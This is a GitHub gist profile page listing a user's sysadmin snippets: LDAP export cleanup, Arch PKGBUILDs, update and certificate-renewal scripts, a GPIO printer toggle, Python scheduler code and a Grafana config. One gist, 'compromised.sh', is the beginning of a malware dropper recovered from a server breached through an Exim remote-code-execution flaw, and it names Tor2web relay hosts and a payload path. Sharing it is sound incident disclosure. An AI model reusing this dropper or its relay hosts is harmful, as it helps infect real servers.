Skip to content

Instantly share code, notes, and snippets.

View worldwise001's full-sized avatar
🌸

Sarah Harvey worldwise001

🌸
View GitHub Profile
#!/bin/bash
slapcat > dump.ldif
for i in {structuralObjectClass,entryUUID,creatorsName,createTimestamp,entryCSN,modifiersName,modifyTimestamp}; do
sed "/^$i/ d" dump.ldif > dump.new.ldif
mv dump.new.ldif dump.ldif
done
@worldwise001
worldwise001 / PKGBUILD
Created September 21, 2014 00:01
irssi-colloquy_push PKGBUILD
pkgbasename=irssi
pkgext=colloquy_push
pkgname=${pkgbasename}-${pkgext}
pkgver=0.8.16
pkgrel=1
pkgdesc="Modular text mode IRC client with Perl scripting"
arch=('i686' 'x86_64' 'armv6h')
url="http://irssi.org/"
license=('GPL')
depends=('glib2' 'openssl')
shell -${SHELL}
caption always "%{= M} %{G}%H%{W} : %=%?%-w%? %{mW} %n %t%? {%u} %? %{dd} %?%+w%?%= : %{C}%d-%m %{W}%0c:%s "
startup_message off
@worldwise001
worldwise001 / autoupdate.sh
Last active June 13, 2019 04:32
autoupdate.sh (ArchLinux)
#!/bin/bash
timestamp=`date +%s`
logfile=/var/log/autoupdate/${timestamp}.log
hostname=`hostname`
pacupdate() {
yes | pacman -Scc
yes | pacman -Syu --ignore pacman,glibc,linux-lts,linux-lts-headers,linux,linux-headers,systemd,systemd-sysvcompat,libsystemd --noprogressbar &>> $logfile
yes | pacman -Scc
}
@worldwise001
worldwise001 / cert_renewal.sh
Created June 13, 2019 04:34
cert_renewal.sh (ArchLinux)
#!/bin/sh
systemctl stop nginx
certbot renew --authenticator standalone --agree-tos
systemctl start nginx
systemctl restart slapd
systemctl restart dovecot
systemctl restart exim
cat /etc/letsencrypt/live/x.shh.sh/chain.pem /etc/ssl/certs/DST_Root_CA_X3.pem > /srv/common/slapd.pem
@worldwise001
worldwise001 / PKGBUILD
Last active June 17, 2019 04:38
PKGBUILD for curaengine 15.04
pkgbase=curaengine-old
pkgname=curaengine-old
pkgver=15.04.6
pkgrel=1
pkgdesc="A full software solution for 3D printing aimed at RepRaps and the Ultimaker. (the old one)"
provides=('curaengine')
conflicts=('curaengine')
url="http://blog.ultimaker.com/cura-user-manual/"
license=('AGPLv3')
arch=('i686' 'x86_64' 'armv7h')
@worldwise001
worldwise001 / printer.sh
Created July 2, 2019 05:08
simple bash script to turn printer on
#!/bin/bash
PIN="26"
if [ ! -d "/sys/class/gpio/gpio$PIN" ]; then
echo $PIN > /sys/class/gpio/export;
fi
if [ "`cat /sys/class/gpio/gpio$PIN/direction`" != "out" ]; then
echo out > /sys/class/gpio/gpio$PIN/direction;
@worldwise001
worldwise001 / compromised.sh
Created June 14, 2019 06:40
extracted from a box popped by exim rce
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".tor2web.io/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
def __init__(self, config: Config, modules: List[str]):
kwargs = config.get('MYSQL_ENGINE_ARGS')
if not kwargs:
raise Exception('No MYSQL_ENGINE_ARGS set in setup_job_scheduler')
self.available_jobs: Dict[str, Any] = {}
# Import modules as necessary for the purpose of instantiating Jobs
for module_str in modules:
module = import_module(module_str)
if module is not None:
{
"annotations": {
"list": [
{
"builtIn": 1,
"datasource": "-- Grafana --",
"enable": true,
"hide": true,
"iconColor": "rgba(0, 211, 255, 1)",
"name": "Annotations & Alerts",